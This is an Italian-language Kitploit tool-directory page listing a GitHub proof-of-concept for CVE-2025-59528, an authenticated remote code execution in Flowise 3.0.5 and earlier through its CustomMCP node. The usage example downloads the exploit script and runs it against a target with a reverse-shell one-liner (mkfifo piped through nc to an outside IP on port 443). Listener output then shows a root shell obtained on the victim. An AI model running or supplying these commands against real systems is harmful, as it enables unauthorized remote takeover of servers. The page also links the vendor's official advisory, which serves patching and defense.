Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/corey-farley/cve-2025-59528-flowise-rce
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubcorey-farley/cve-2025-59528-flowise-rce

CVE-2025-59528-Flowise-RCE

PoC di RCE autenticato per Flowise versione <= 3.0.5 tramite CustomMCP Node (CVE-2025-59528)

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
3 mesi faNon ancora revisionato
Condividi

CVE-2025-59528-Flowise-RCE

PoC di RCE autenticato per Flowise versione <= 3.0.5 tramite CustomMCP Node (CVE-2025-59528)

Link alla GHSA ufficiale: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p

Esempio di utilizzo per una reverse shell:

root@kitploit:~
curl -sSLO 'https://raw.githubusercontent.com/corey-farley/CVE-2025-59528-Flowise-RCE/main/CVE-2025-59528.py'

chmod +x CVE-2025-59528.py

./CVE-2025-59528.py -t 'http://target.com' -k 'API_KEY' -cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.200 443 >/tmp/f'

Controlla il listener e dovrebbe funzionare:

root@kitploit:~
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.64.221] 43393
sh: can't access tty; job control turned off
/ # whoami
root
Scarica lo strumento